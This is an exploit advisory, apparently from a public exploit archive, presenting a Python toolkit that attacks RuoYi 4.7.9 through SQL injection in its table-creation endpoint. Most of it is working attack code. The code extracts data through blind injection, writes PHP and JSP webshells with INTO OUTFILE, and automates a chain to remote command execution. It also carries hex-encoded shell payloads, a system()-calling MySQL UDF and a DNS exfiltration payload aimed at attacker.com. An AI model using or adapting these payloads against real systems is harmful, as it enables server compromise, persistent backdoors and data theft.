=============================================================================================================================================
| # Title : RuoYi 4.7.9 Advanced SQL Injection Exploitation Toolkit with RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/yangzongzhuan/RuoYi |
=============================================================================================================================================
[+] Summary : This Python script is a sophisticated SQL injection exploitation tool that targets Java web applications (specifically RuoYi framework),
with additional Remote Code Execution (RCE) capabilities. The tool performs blind SQL injection attacks and includes multiple methods for escalating SQLi to full system compromise
[+] Technical Details:
Attack Vector: SQL injection in table creation endpoint (/tool/gen/createTable)
Injection Technique: Boolean-based blind with error-based fallback
Database: MySQL (uses MySQL-specific functions and syntax)
Payload Types: CREATE TABLE statements with conditional subqueries
Exploitation Chain: SQLi → File Write → Webshell → RCE
[+] POC : python poc.py
import requests
import argparse
import random
from concurrent.futures import ThreadPoolExecutor
from string import printable, ascii_lowercase, digits
from urllib3 import disable_warnings
disable_warnings()
PROXY_ENABLED = True
PROXY = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
} if PROXY_ENABLED else {}
CHARSET = printable
def send_request(payload):
global counter
cookies = {
'JSESSIONID': cookie,
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
data = f"sql={payload}"
resp = requests.post(url=url+'/tool/gen/createTable', data=data, cookies=cookies, headers=headers, verify=False, proxies=PROXY)
counter += 1
if "Operation successful" in resp.text:
return True
return False
def get_length_payload(value):
tablename = f"{random_string}_{counter}"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(length(%40%40version)%3d{value}%2c%201%2c%201%2f0)%3b"
return payload
def get_length():
for length in range(100):
payload = get_length_payload(length)
if send_request(payload=payload):
print(f'Data has {length} characters')
return length
return 0
def get_payload(location, value:int):
tablename = f"{random_string}_{counter}"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c{location}%2c1))%3d{value}%2c%201%2c%201%2f0)%3b"
return payload
def get_char(location):
for char in CHARSET:
payload = get_payload(location=location, value=ord(char))
if send_request(payload=payload):
print(f'Found character {char} at location {location}')
return char
return 'None'
def get_data():
length = get_length()
with ThreadPoolExecutor(max_workers=20) as tpe:
res_iter = tpe.map(get_char, range(1, length+1))
return ''.join(res_iter)
def test_file_write():
"""Testing file writing capabilities"""
test_paths = [
'/tmp/test_rce.txt',
'/var/www/html/test.php',
'C:\\Windows\\Temp\\test.txt',
'C:\\inetpub\\wwwroot\\test.php'
]
for path in test_paths:
clean_path = path.replace(' ', '')
tablename = f"{random_string}_rce_test"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%20'<?php%20phpinfo();%20?>'%20INTO%20OUTFILE%20'{clean_path}'"
print(f"[*] Testing file write to: {clean_path}")
if send_request(payload):
print(f"[+] File write Possible success to: {clean_path}")
return clean_path
return None
def execute_system_command(cmd):
"""Executing a system command using INTO OUTFILE و UDF"""
webshell_path = '/var/www/html/shell.php'
import base64
cmd_b64 = base64.b64encode(cmd.encode()).decode()
php_shell = f'''<?php
if(isset($_GET['cmd'])) {{
$cmd = base64_decode($_GET['cmd']);
echo "<pre>";
system($cmd);
echo "</pre>";
}}
?>'''
tablename = f"{random_string}_webshell"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_shell.encode().hex()}%20INTO%20OUTFILE%20'{webshell_path}'"
if send_request(payload):
print(f"[+] Webshell written to: {webshell_path}")
try:
shell_url = f"{url}/shell.php?cmd={cmd_b64}"
resp = requests.get(shell_url, verify=False, proxies=PROXY)
if resp.status_code == 200:
print("[+] Command output:")
print(resp.text[:500])
return resp.text
except:
pass
return None
def mysql_udf_rce():
"""RCE Using MySQL UDF"""
print("[*] Attempting MySQL UDF RCE...")
tablename = f"{random_string}_plugin_dir"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%20@@plugin_dir"
if send_request(payload):
plugin_dir = "/usr/lib/mysql/plugin/"
udf_payload = '''
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count;
enum Item_result *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
if (args->arg_count != 1)
return 0;
system(args->args[0]);
return 0;
}
'''
return False
def java_jsp_shell():
"""Writing JSP shells for Java applications"""
jsp_shell = '''<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
<form method="post">
CMD: <input type="text" name="cmd" size="50">
<input type="submit">
</form>'''
jsp_paths = [
'/opt/tomcat/webapps/ROOT/cmd.jsp',
'/usr/local/tomcat/webapps/ROOT/shell.jsp',
'C:\\Program Files\\Apache Software Foundation\\Tomcat\\webapps\\ROOT\\cmd.jsp'
]
for path in jsp_paths:
tablename = f"{random_string}_jspshell"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{jsp_shell.encode().hex()}%20INTO%20OUTFILE%20'{path}'"
if send_request(payload):
print(f"[+] JSP shell written to: {path}")
return path
return None
def rce_menu():
"""RCE Options List"""
print("\n" + "="*50)
print("RCE Exploitation Menu")
print("="*50)
print("1. Test file write capability")
print("2. Write PHP webshell")
print("3. Write JSP shell (Java)")
print("4. Execute system command")
print("5. Automated RCE chain")
print("6. Back to main menu")
choice = input("\nSelect option: ")
if choice == "1":
path = test_file_write()
if path:
print(f"[+] File write successful to: {path}")
else:
print("[-] File write failed")
elif choice == "2":
webshell_path = '/var/www/html/cmd.php'
php_code = '<?php system($_GET["cmd"]); ?>'
tablename = f"{random_string}_phpws"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_code.encode().hex()}%20INTO%20OUTFILE%20'{webshell_path}'"
if send_request(payload):
print(f"[+] PHP webshell written to: {webshell_path}")
print(f"[+] Access at: {url}/cmd.php?cmd=id")
else:
print("[-] Failed to write webshell")
elif choice == "3":
path = java_jsp_shell()
if path:
print(f"[+] Access shell at: {url}/shell.jsp")
elif choice == "4":
cmd = input("Enter command to execute: ")
result = execute_system_command(cmd)
if not result:
print("[-] Command execution failed")
elif choice == "5":
print("[*] Running automated RCE chain...")
print("[*] Step 1: Testing file write...")
write_path = test_file_write()
if write_path:
print(f"[+] Can write to: {write_path}")
print("[*] Step 2: Writing webshell...")
if '.php' in write_path:
php_code = '<?php echo shell_exec($_GET["cmd"]); ?>'
tablename = f"{random_string}_auto"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_code.encode().hex()}%20INTO%20OUTFILE%20'{write_path}'"
if send_request(payload):
print(f"[+] Webshell written successfully!")
print(f"[+] Test with: {url}/{'cmd.php' if 'cmd.php' in write_path else write_path.split('/')[-1]}?cmd=id")
elif '.jsp' in write_path:
java_jsp_shell()
else:
print("[-] Automated chain failed at step 1")
def init():
parser = argparse.ArgumentParser(description='SQLi PoC with RCE')
parser.add_argument('-u','--url',help='Target url', required=True, type=str)
parser.add_argument('-c','--cookie',help='JSESSIONID cookie value', required=True, type=str)
parser.add_argument('--rce', help='Enable RCE mode', action='store_true')
return parser.parse_args()
if __name__ == '__main__':
args = init()
url = args.url
cookie = args.cookie
counter = 0
random_string = ''.join(random.choices(ascii_lowercase + digits, k=6))
if args.rce:
rce_menu()
else:
print('Data: ', get_data())
Additional RCE Loading Options:
1. Direct Webshell Writing:
# PHP Webshell
payload = "CREATE%20table%20test%20as%20SELECT%200x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e%20INTO%20OUTFILE%20'/var/www/html/shell.php'"
# JSP Webshell
payload = "CREATE%20table%20test%20as%20SELECT%200x3c25406672616765207061676520696d706f72743d226a6176612e696f2e2a2c 6a6176612e7574696c2e2a22253e3c25696628726571756573742e676574506172616d657465722822632229213d6e756c6c297b5 0726f6365737320703d52756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d65 7465722822632229293b42756666657265645265616465722062693d6e6577204275666665726564526561646572286e657720496e 70757453747265616d52656164657228702e676574496e70757453747265616d282929293b537472696e67206c696e653b7768696 c6528286c696e653d62692e726561644c696e65282929213d6e756c6c297b6f75742e7072696e746c6e286c696e65293b7d7d253e 3c666f726d206d6574686f643d22504f5354223e3c696e70757420747970653d227465787422206e616d653d2263223e3c696e70757420747970653d227375626d6974223e3c2f666f726d3e%20INTO%20OUTFILE%20'/opt/tomcat/webapps/ROOT/cmd.jsp'"
2. Executing actions via DNS extraction:
payload = "CREATE%20table%20test%20as%20SELECT%20LOAD_FILE(CONCAT('\\\\\\\\',(SELECT%20@@version),'.attacker.com\\\\test'))"
3. Using an external XML entity:
payload = "CREATE%20table%20test%20as%20SELECT%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20@@version),0x7e))"
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation